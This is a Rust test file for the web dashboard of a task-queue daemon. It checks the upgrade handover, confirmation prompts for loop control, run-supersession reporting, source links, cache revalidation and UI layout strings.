14002 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14003 }
14004
14005 fn idle_ui(home: &TempDir) -> Ui {
14006 let runs = home.path().join("runs");
14007 std::fs::create_dir_all(&runs).expect("runs dir");
14008 Ui::new(
14009 Queue::at(home.path().join("queue")),
14010 Questions::at(home.path().join("questions")),
14011 Talks::at(home.path().join("talks")),
14012 runs,
14013 home.path().to_path_buf(),
14014 PathBuf::from("/repo/magi"),
14015 )
14016 .with_launch(launch_idle)
14017 }
14018
14019 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14021 let looping = ui.looping();
14022 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14023 .await
14024 .expect("bind loopback");
14025 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14026 let told = std::sync::Mutex::new(None);
14027 hand_over(home.path(), &looping, served, |resume| {
14028 *told.lock().unwrap() = Some(resume);
14029 Ok(1)
14030 })
14031 .await
14032 .expect("hand over");
14033 told.into_inner().unwrap().expect("successor was started")
14034 }
14035
14036 #[tokio::test]
14037 async fn a_running_loop_is_resumed_by_the_successor() {
14038 let home = TempDir::new().expect("temp home");
14039 let ui = idle_ui(&home);
14040 ui.start_loop(None).expect("start");
14041 ui.park_for_upgrade().expect("park");
14042 for _ in 0..500 {
14044 if !ui.loop_view(None).running {
14045 break;
14046 }
14047 tokio::time::sleep(Duration::from_millis(2)).await;
14048 }
14049 assert!(handed_over(&home, ui).await, "a running loop must resume");
14050
14051 let successor = idle_ui(&home);
14052 assert!(!successor.loop_view(None).running);
14053 assert!(successor.resume_after_handover(true));
14054 assert!(successor.loop_view(None).running);
14055 successor.stop_loop(None, false).expect("stop");
14056 }
14057
14058 #[tokio::test]
14059 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14060 let home = TempDir::new().expect("temp home");
14061 let ui = idle_ui(&home);
14062 ui.start_loop(None).expect("start");
14063 ui.park_for_upgrade().expect("first park");
14064 ui.park_for_upgrade().expect("second park");
14065 assert!(handed_over(&home, ui).await);
14066 }
14067
14068 #[tokio::test]
14069 async fn a_stop_during_the_handover_wait_is_honoured() {
14070 let home = TempDir::new().expect("temp home");
14071 let ui = idle_ui(&home);
14072 ui.start_loop(None).expect("start");
14073 ui.park_for_upgrade().expect("park");
14074 ui.stop_loop(None, false).expect("stop");
14075 assert!(!handed_over(&home, ui).await);
14076 }
14077
14078 #[tokio::test]
14079 async fn an_idle_loop_stays_stopped_across_the_handover() {
14080 let home = TempDir::new().expect("temp home");
14081 let ui = idle_ui(&home);
14082 ui.park_for_upgrade().expect("park");
14083 assert!(!handed_over(&home, ui).await);
14084
14085 let successor = idle_ui(&home);
14086 assert!(!successor.resume_after_handover(false));
14087 assert!(!successor.loop_view(None).running);
14088 }
14089
14090 #[tokio::test]
14091 async fn a_loop_the_operator_stopped_is_not_resumed() {
14092 let home = TempDir::new().expect("temp home");
14093 let ui = idle_ui(&home);
14094 ui.start_loop(None).expect("start");
14095 ui.stop_loop(None, false).expect("stop");
14096 ui.park_for_upgrade().expect("park");
14097 assert!(!handed_over(&home, ui).await);
14098 }
14099
14100 #[test]
14101 fn only_an_explicit_one_requests_a_resume() {
14102 assert!(!resume_requested(None));
14103 assert!(!resume_requested(Some("0".into())));
14104 assert!(!resume_requested(Some("".into())));
14105 assert!(resume_requested(Some("1".into())));
14106 }
14107
14108 #[test]
14109 fn the_upgrade_button_arms_before_it_restarts_anything() {
14110 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14113 assert!(APP_JS.contains("Replace the binary and restart?"));
14114 assert!(APP_JS.contains("function confirmed("));
14115 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14120 assert!(
14124 APP_JS.contains("Parking, then restarting"),
14125 "the button says what it is waiting for"
14126 );
14127 assert!(APP_JS.contains("if (!out.to)"));
14130 }
14131
14132 #[test]
14133 fn stopping_the_loop_arms_but_starting_does_not() {
14134 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14137 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14138 assert!(APP_JS.contains("confirmed(button, question)"));
14139 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14142 assert!(APP_JS.contains("const label = btn.textContent;"));
14143 assert!(!APP_JS.contains("Neither direction is guarded"));
14144 }
14145
14146 #[test]
14147 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14148 assert!(
14149 APP_JS.contains("state.health.version"),
14150 "the operator wants to know what is running even with nothing newer"
14151 );
14152 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14153 }
14154
14155 #[test]
14156 fn the_upgrade_button_names_its_destination() {
14157 assert!(
14158 APP_JS.contains("`Update to ${update.to}`"),
14159 "pressing the button should not be a surprise about what it moves to"
14160 );
14161 }
14162
14163 #[test]
14164 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14165 for stage in ["downloading", "replaced", "parking", "restarting"] {
14166 assert!(
14167 APP_JS.contains(&format!("\"{stage}\"")),
14168 "the phone must be able to tell {stage} apart from the others"
14169 );
14170 }
14171 assert!(APP_JS.contains(".waiting_on"));
14172 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14177 assert!(APP_JS.contains("reconnects on its own"));
14178 }
14179
14180 #[test]
14181 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14182 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14191 ..APP_JS.find("function upgrade(").expect("upgrade")];
14192 assert!(
14193 !body.contains(
14194 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14195 ),
14196 "a failed upgrade must not take the whole strip over the way it used to"
14197 );
14198 assert!(
14199 body.contains("upgradeFailNote"),
14200 "the failure has to reach the loop's own note instead"
14201 );
14202 assert_eq!(
14206 body.matches("upgradeFailNote].filter(Boolean).join")
14207 .count(),
14208 2,
14209 "both loop-why writers (quiet and control) must fold the note in"
14210 );
14211 }
14212
14213 #[test]
14214 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14215 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14218 assert!(APP_JS.contains("function upgradeOverdue("));
14219 }
14220
14221 #[test]
14222 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14223 assert!(
14224 APP_JS.contains("Updated to ${upgradeInfo.to"),
14225 "the operator who asked for the restart wants to know it worked"
14226 );
14227 }
14228
14229 #[test]
14230 fn an_error_is_visible_from_where_the_button_is() {
14231 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14236 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14237 assert!(
14238 alert.contains("position: fixed"),
14239 "an error about the thing under your thumb has to be visible from \
14240 where your thumb is: {alert}"
14241 );
14242 assert!(
14243 alert.contains("z-index: 25"),
14244 "above the dock (20) and the run-actions FAB (15), so neither \
14245 buries it: {alert}"
14246 );
14247 assert!(
14248 alert.contains("var(--tap)"),
14249 "and clear of the dock and the home indicator: {alert}"
14250 );
14251 assert!(
14254 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14255 "the FAB's column stays free: {alert}"
14256 );
14257 }
14258
14259 #[tokio::test]
14260 async fn an_older_attempt_says_what_replaced_it() {
14261 let fx = Fixture::start().await;
14262 let q = fx.queue();
14263 let runs = fx.runs();
14264 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14265 write_run(&runs, first, RunStatus::Stalled);
14266 write_run(&runs, second, RunStatus::Blocked);
14267
14268 let mut t = Task::new(
14269 "one task".to_owned(),
14270 "do it".to_owned(),
14271 PathBuf::from("/repo"),
14272 Source::Human,
14273 );
14274 t.runs = vec![first.to_owned(), second.to_owned()];
14275 q.put(&mut t).expect("put");
14276
14277 let rows = fx.get("/api/runs").await.json();
14281 let by = |short: &str| -> Value {
14282 rows.as_array()
14283 .unwrap()
14284 .iter()
14285 .find(|r| r["short"] == short)
14286 .cloned()
14287 .unwrap_or(Value::Null)
14288 };
14289 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14290 assert!(
14291 by("bbbb")["superseded_by"].is_null(),
14292 "the latest attempt is not superseded by anything"
14293 );
14294 assert!(APP_JS.contains("run.superseded_by"));
14296 assert!(APP_JS.contains("Superseded by"));
14297 }
14298
14299 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14300 let mut t = Task::new(
14301 "one task".to_owned(),
14302 "do it".to_owned(),
14303 PathBuf::from("/repo"),
14304 Source::Human,
14305 );
14306 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14307 t.status = status;
14308 t
14309 }
14310
14311 #[test]
14312 fn source_link_picks_the_page_that_filed_the_task() {
14313 let agent = |node: &str| Source::Agent {
14314 run: "20260904-014455-ab12".to_owned(),
14315 node: node.to_owned(),
14316 };
14317 let chat = source_link(&agent("chat")).expect("chat link");
14318 assert_eq!(chat.kind, "chat");
14319 assert_eq!(chat.id, "20260904-014455-ab12");
14320 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14321 let run = source_link(&agent("implement")).expect("run link");
14322 assert_eq!(
14323 (run.kind, run.href.as_str()),
14324 ("run", "#/runs/20260904-014455-ab12")
14325 );
14326 assert_eq!(source_link(&Source::Human), None);
14327 assert_eq!(
14328 source_link(&Source::Issue {
14329 number: 3,
14330 repo: "o/r".to_owned()
14331 }),
14332 None
14333 );
14334 let odd = source_link(&Source::Agent {
14335 run: "a b/c".to_owned(),
14336 node: "chat".to_owned(),
14337 })
14338 .expect("link");
14339 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14340 }
14341
14342 #[test]
14343 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14344 assert!(
14345 !APP_JS.contains("src.node === \"chat\""),
14346 "inline href rule is back"
14347 );
14348 assert!(
14349 APP_JS.matches("sourceLinkOf(").count() >= 4,
14350 "helper must serve every page"
14351 );
14352 assert!(
14353 APP_JS.matches("openChatLink(").count() >= 3,
14354 "the run page still needs its explicit chat link"
14355 );
14356 assert!(
14357 !APP_JS.contains("const openChat = el("),
14358 "the Queue card duplicates its source label link again"
14359 );
14360 assert!(
14361 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14362 "the task page must link a chat source label too"
14363 );
14364 }
14365
14366 #[test]
14367 fn task_ref_carries_the_source_link_for_a_chat_task() {
14368 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14369 t.source = Source::Agent {
14370 run: "20260904-014455-ab12".to_owned(),
14371 node: "chat".to_owned(),
14372 };
14373 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14374 let v = serde_json::to_value(&out).expect("json");
14375 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14376 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14377 assert_eq!(v["source_label"], t.source.label());
14378
14379 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14380 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14381 .expect("json");
14382 assert!(v["source_link"].is_null(), "{v}");
14383 }
14384
14385 #[test]
14386 fn task_view_serializes_source_link() {
14387 let mut t = Task::new(
14388 "t".to_owned(),
14389 "t".to_owned(),
14390 PathBuf::from("/repo"),
14391 Source::Agent {
14392 run: "20260901-000000-aaaa".to_owned(),
14393 node: "implement".to_owned(),
14394 },
14395 );
14396 t.runs.clear();
14397 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14398 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14399 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14400 }
14401
14402 #[tokio::test]
14403 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14404 let fx = Fixture::start().await;
14405 let runs = fx.runs();
14406 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14407 write_run(&runs, old, RunStatus::Blocked);
14408 write_run(&runs, new, RunStatus::Merged);
14409 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14410 fx.queue().put(&mut t).expect("put");
14411
14412 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14413 let task = &view["task"];
14414 assert_eq!(task["status"], "done");
14415 assert_eq!(task["is_latest"], false);
14416 assert_eq!(task["latest"]["short"], "bbbb");
14417 assert_eq!(task["finished_by"]["id"], new);
14418 assert_eq!(task["finished_by"]["outcome"], "merged");
14419 assert_eq!(task["closed_by_hand"], false);
14420 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14421 assert!(APP_JS.contains("finished_by"));
14422 assert!(APP_JS.contains("superseded by run"));
14423 }
14424
14425 #[tokio::test]
14426 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14427 let fx = Fixture::start().await;
14428 let runs = fx.runs();
14429 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14430 write_run(&runs, old, RunStatus::Stalled);
14431 write_run(&runs, new, RunStatus::Blocked);
14432 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14433 fx.queue().put(&mut t).expect("put");
14434
14435 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14436 assert_eq!(task["status"], "held");
14437 assert_eq!(task["is_latest"], true);
14438 assert!(task["latest"].is_null());
14439 assert!(task["finished_by"].is_null());
14440 assert_eq!(task["closed_by_hand"], false);
14441 }
14442
14443 #[tokio::test]
14444 async fn a_direct_run_has_no_task_outcome() {
14445 let fx = Fixture::start().await;
14446 let runs = fx.runs();
14447 let id = "20260901-000000-aaaa";
14448 write_run(&runs, id, RunStatus::Blocked);
14449 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14450 assert!(view["task"].is_null());
14451 }
14452
14453 #[test]
14454 fn task_outcome_does_not_guess_a_finishing_run() {
14455 let a = "20260901-000000-aaaa";
14456 let b = "20260901-000000-bbbb";
14457 let c = "20260901-000000-cccc";
14458 let dir = tempfile::tempdir().expect("tempdir");
14459 write_run(dir.path(), a, RunStatus::Blocked);
14460 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14461 let read = |id: &str| read_run(dir.path(), id).ok();
14463 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14466 let out = task_outcome(&t, a, 3, read);
14467 assert!(out.finished_by.is_none());
14468 assert!(out.closed_by_hand);
14469 let latest = out.latest.expect("latest");
14470 assert_eq!(latest.id, c);
14471 assert_eq!(latest.status, None);
14472 assert_eq!(latest.outcome, "record unreadable");
14473
14474 write_run(dir.path(), c, RunStatus::Ready);
14476 let t = outcome_task(&[a, c], TaskStatus::Done);
14477 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14478 assert_eq!(out.finished_by.expect("finisher").id, c);
14479 assert!(!out.closed_by_hand);
14480
14481 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14483 assert!(task_outcome(&t, a, 3, read).is_latest);
14484 }
14485
14486 #[tokio::test]
14487 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14488 let fx = Fixture::start().await;
14493 let q = fx.queue();
14494 let runs = fx.runs();
14495 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14496 write_run(&runs, first, RunStatus::Blocked);
14497 write_run(&runs, second, RunStatus::Merged);
14498
14499 let mut t = Task::new(
14500 "one task".to_owned(),
14501 "do it".to_owned(),
14502 PathBuf::from("/repo"),
14503 Source::Human,
14504 );
14505 t.runs = vec![first.to_owned(), second.to_owned()];
14506 q.put(&mut t).expect("put");
14507
14508 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14509 assert_eq!(earlier["superseded_by"], "dddd");
14510 assert_eq!(earlier["latest_attempt"]["id"], second);
14511 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14512 assert_eq!(
14513 earlier["latest_attempt"]["resolved"], true,
14514 "the run that replaced it landed, so this one reads as settled"
14515 );
14516
14517 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14518 assert!(
14519 later["superseded_by"].is_null(),
14520 "the latest attempt is not superseded by anything"
14521 );
14522 assert!(
14523 later["latest_attempt"].is_null(),
14524 "the latest attempt has no later attempt of its own"
14525 );
14526
14527 assert!(APP_JS.contains("run.latest_attempt"));
14534 assert!(APP_JS.contains("data-superseded"));
14535 assert!(APP_JS.contains("#/runs/${latest.id}"));
14536 }
14537
14538 #[tokio::test]
14539 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14540 let fx = Fixture::start().await;
14546 let q = fx.queue();
14547 let runs = fx.runs();
14548 let (a, b, c) = (
14549 "20260901-000000-aaaa",
14550 "20260901-000000-bbbb",
14551 "20260901-000000-cccc",
14552 );
14553 write_run(&runs, a, RunStatus::Blocked);
14554 write_run(&runs, b, RunStatus::Blocked);
14555 write_run(&runs, c, RunStatus::Merged);
14556
14557 let mut t = Task::new(
14558 "retried twice".to_owned(),
14559 "do it".to_owned(),
14560 PathBuf::from("/repo"),
14561 Source::Human,
14562 );
14563 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14564 q.put(&mut t).expect("put");
14565
14566 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14567 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14568 assert_eq!(
14569 view["latest_attempt"]["id"], c,
14570 "the chain's current head, not the intermediate Blocked retry"
14571 );
14572 assert_eq!(view["latest_attempt"]["resolved"], true);
14573
14574 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14575 assert_eq!(mid["latest_attempt"]["id"], c);
14576 assert_eq!(mid["latest_attempt"]["resolved"], true);
14577 }
14578
14579 #[tokio::test]
14580 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14581 let fx = Fixture::start().await;
14582 let q = fx.queue();
14583 let runs = fx.runs();
14584
14585 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14588 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14589 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14590 let mut t1 = Task::new(
14591 "still stuck".to_owned(),
14592 "do it".to_owned(),
14593 PathBuf::from("/repo"),
14594 Source::Human,
14595 );
14596 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14597 q.put(&mut t1).expect("put");
14598 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14599 assert_eq!(view1["latest_attempt"]["resolved"], false);
14600 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14601 assert_eq!(view1["latest_attempt"]["done"], true);
14602
14603 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14605 write_run(&runs, run_a, RunStatus::Blocked);
14606 write_run(&runs, run_b, RunStatus::Implementing);
14607 let mut t3 = Task::new(
14608 "retrying".to_owned(),
14609 "do it".to_owned(),
14610 PathBuf::from("/repo"),
14611 Source::Human,
14612 );
14613 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14614 q.put(&mut t3).expect("put");
14615 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14616 assert_eq!(view3["latest_attempt"]["id"], run_b);
14617 assert_eq!(view3["latest_attempt"]["resolved"], false);
14618 assert_eq!(view3["latest_attempt"]["done"], false);
14619
14620 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14625 write_run(&runs, noop_a, RunStatus::Blocked);
14626 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14627 let mut t2 = Task::new(
14628 "claims done".to_owned(),
14629 "do it".to_owned(),
14630 PathBuf::from("/repo"),
14631 Source::Human,
14632 );
14633 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14634 q.put(&mut t2).expect("put");
14635 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14636 assert_eq!(
14637 view2["latest_attempt"]["resolved"], false,
14638 "an unverified no-op claim must not read as a confirmed finish"
14639 );
14640
14641 assert!(APP_JS.contains("latest.resolved"));
14644 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14647 assert!(APP_JS.contains("Latest attempt: "));
14648 assert!(APP_JS.contains("in flight"));
14649 assert!(APP_JS.contains("not resolved"));
14650 }
14651
14652 #[tokio::test]
14653 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14654 let fx = Fixture::start().await;
14655 let js = fx.get("/app.js").await;
14661 assert_eq!(js.status, 200);
14662 let tag = js
14663 .header("etag")
14664 .expect("an etag to revalidate against")
14665 .to_owned();
14666 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14667 assert_eq!(
14668 js.header("cache-control"),
14669 Some("no-cache, must-revalidate"),
14670 "the phone has to ask every time"
14671 );
14672
14673 let again = fx
14676 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14677 .await;
14678 assert_eq!(
14679 again.status, 304,
14680 "a deck it already has costs one round trip"
14681 );
14682 assert!(again.body.is_empty(), "304 carries no body");
14683
14684 let weak = fx
14687 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14688 .await;
14689 assert_eq!(weak.status, 304);
14690 let stale = fx
14691 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14692 .await;
14693 assert_eq!(stale.status, 200, "an older build must be replaced");
14694 assert!(stale.body.contains("renderRunActions"));
14695 }
14696
14697 #[test]
14698 fn the_task_detail_has_an_actions_fab_and_sheet() {
14699 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14700 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14701 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14702 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14704 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14705 assert!(APP_JS.contains("renderTaskActions(task);"));
14707 assert!(APP_JS.contains("renderTaskActions(null);"));
14708 let sheet = APP_JS
14710 .find("function renderTaskActions")
14711 .expect("sheet renderer");
14712 let body = &APP_JS[sheet..sheet + 3000];
14713 assert!(body.contains("changePriority("));
14714 assert!(body.contains("openTaskEdit(task)"));
14715 assert!(body.contains("renderTaskHoldBox(host"));
14716 assert!(body.contains("renderTaskDoneBox(host"));
14717 assert!(body.contains("renderTaskDeleteBox(host"));
14718 assert!(APP_JS.contains("API.priority(id)"));
14719 assert!(APP_JS.contains("API.deleteTask(id)"));
14720 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14722 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14724 }
14725
14726 #[test]
14727 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14728 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14729 let actions = INDEX_HTML
14730 .find("id=\"run-actions-box\"")
14731 .expect("actions box");
14732 assert!(task < actions, "the task entry comes first in the sheet");
14733 assert!(APP_JS.contains("renderRunTaskEntry"));
14734 assert!(APP_JS.contains("\"Open task \""));
14735 assert!(APP_JS.contains("started directly, no task"));
14737 assert!(APP_JS.contains("sheet-task-link"));
14738 assert!(APP_JS.contains("task-chip-link"));
14739 }
14740
14741 #[test]
14742 fn the_deck_never_sends_the_operator_to_a_terminal() {
14743 assert!(
14746 !APP_JS.contains("Run `magi fold` first"),
14747 "the deck must offer the fold, not prescribe a shell command"
14748 );
14749 assert!(APP_JS.contains("foldRun:"));
14750 assert!(APP_JS.contains("resumeRun:"));
14751 assert!(APP_JS.contains("renderRunActions"));
14752
14753 assert!(APP_JS.contains("armedFold"));
14755 assert!(APP_JS.contains("Yes, fold worktrees"));
14756
14757 assert!(APP_JS.contains("can no longer be resumed"));
14760 }
14761
14762 #[test]
14763 fn a_finished_run_explains_itself_with_its_own_last_line() {
14764 assert!(
14770 !APP_JS.contains("collapsed on agent quota"),
14771 "a stall must not be explained by a cause the deck did not check"
14772 );
14773 assert!(
14774 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14775 "and a block must not offer a guess with an `or` in it"
14776 );
14777
14778 assert!(
14782 APP_JS.contains("setText(r.event, run.event || \"\")"),
14783 "the run's last line is rendered unconditionally"
14784 );
14785 assert!(
14786 !APP_JS.contains("moving && run.event"),
14787 "and never gated on the run still moving"
14788 );
14789
14790 assert!(APP_JS.contains("lost to quota"));
14792 }
14793
14794 #[test]
14816 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14817 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14818 let shapes_body_start =
14819 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14820 let shapes_close = APP_JS[shapes_body_start..]
14821 .find("].map(")
14822 .expect("the shape list is closed by its done-computing .map(...)")
14823 + shapes_body_start;
14824 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14825
14826 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14827 for entry in shapes_src.split('{').skip(1) {
14828 let waiting = entry.contains("waiting: true");
14829 let dead = entry.contains("live: \"dead\"");
14830 let status_at =
14831 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14832 let status_end = entry[status_at..]
14833 .find('"')
14834 .expect("the status string is closed")
14835 + status_at;
14836 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14837 }
14838 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14839
14840 let done_rule_marker = "done: !";
14844 let done_rule_at = APP_JS[shapes_close..]
14845 .find(done_rule_marker)
14846 .expect("the done rule follows the shape list")
14847 + shapes_close
14848 + done_rule_marker.len();
14849 let includes_at = APP_JS[done_rule_at..]
14850 .find(".includes(shape.status)")
14851 .expect("the done rule ends in .includes(shape.status)")
14852 + done_rule_at;
14853 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14854 .trim()
14855 .trim_start_matches('[')
14856 .trim_end_matches(']')
14857 .split(',')
14858 .map(|s| s.trim().trim_matches('"'))
14859 .filter(|s| !s.is_empty())
14860 .collect();
14861
14862 let shapes: Vec<(bool, String, bool, bool)> = shapes
14863 .into_iter()
14864 .map(|(waiting, status, dead)| {
14865 let done = !not_done.contains(&status.as_str());
14866 (waiting, status, dead, done)
14867 })
14868 .collect();
14869
14870 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14874 if waiting {
14875 return "waiting";
14876 }
14877 if dead
14878 && !matches!(
14879 status,
14880 "merged"
14881 | "ready"
14882 | "stalled"
14883 | "blocked"
14884 | "failed"
14885 | "verified_noop"
14886 | "superseded"
14887 | "already_in_base"
14888 )
14889 {
14890 return "stale";
14891 }
14892 match status {
14893 "merged" | "ready" => "landed",
14894 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14895 | "already_in_base" => "ended",
14896 _ => "flight",
14897 }
14898 }
14899
14900 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14903 match filter_key {
14904 "active" => !done,
14905 "flight" => !done && !waiting && !dead,
14906 "stale" => !done && !waiting && dead,
14907 "waiting" => waiting,
14908 "done" => done,
14909 "all" => true,
14910 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14911 }
14912 }
14913
14914 let compatible = |section: &str, filter_key: &str| {
14915 shapes.iter().any(|(waiting, status, dead, done)| {
14916 run_section(*waiting, status, *dead) == section
14917 && filter_matches(filter_key, *waiting, *dead, *done)
14918 })
14919 };
14920
14921 let expected = [
14926 ("waiting", [true, false, false, true, true, true]),
14927 ("stale", [true, false, true, false, false, true]),
14928 ("flight", [true, true, false, false, false, true]),
14929 ("landed", [false, false, false, false, true, true]),
14930 ("ended", [false, false, false, false, true, true]),
14931 ];
14932 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14933
14934 for (section, wants) in expected {
14935 for (filter_key, want) in filter_keys.iter().zip(wants) {
14936 assert_eq!(
14937 compatible(section, filter_key),
14938 want,
14939 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14940 );
14941 }
14942 }
14943
14944 assert!(
14947 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14948 );
14949 assert!(APP_JS.contains(
14950 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14951 ));
14952 assert!(APP_JS.contains(
14953 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14954 ));
14955 }
14956
14957 #[tokio::test]
14958 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14959 let dir = tempfile::tempdir().expect("tempdir");
14963 let explicit = dir.path().join("not-a-checkout");
14964 std::fs::create_dir_all(&explicit).expect("create dir");
14965 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14966
14967 let missing = dir.path().join("does-not-exist-at-all");
14968 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14969 }
14970
14971 #[test]
14972 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
14973 assert!(APP_JS.contains("function statsDonutArcs"));
14974 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
14975 assert!(APP_JS.contains("function statusInBucket"));
14977 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
14978 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
14979 let buckets = [
14980 "merged",
14981 "ready",
14982 "in_progress",
14983 "blocked",
14984 "failed",
14985 "verified_noop",
14986 "superseded",
14987 "stalled",
14988 ];
14989 for key in buckets {
14990 let var = format!("--verdict-{key}:");
14991 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
14993 assert!(
14994 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
14995 "{key}"
14996 );
14997 }
14998 }
14999}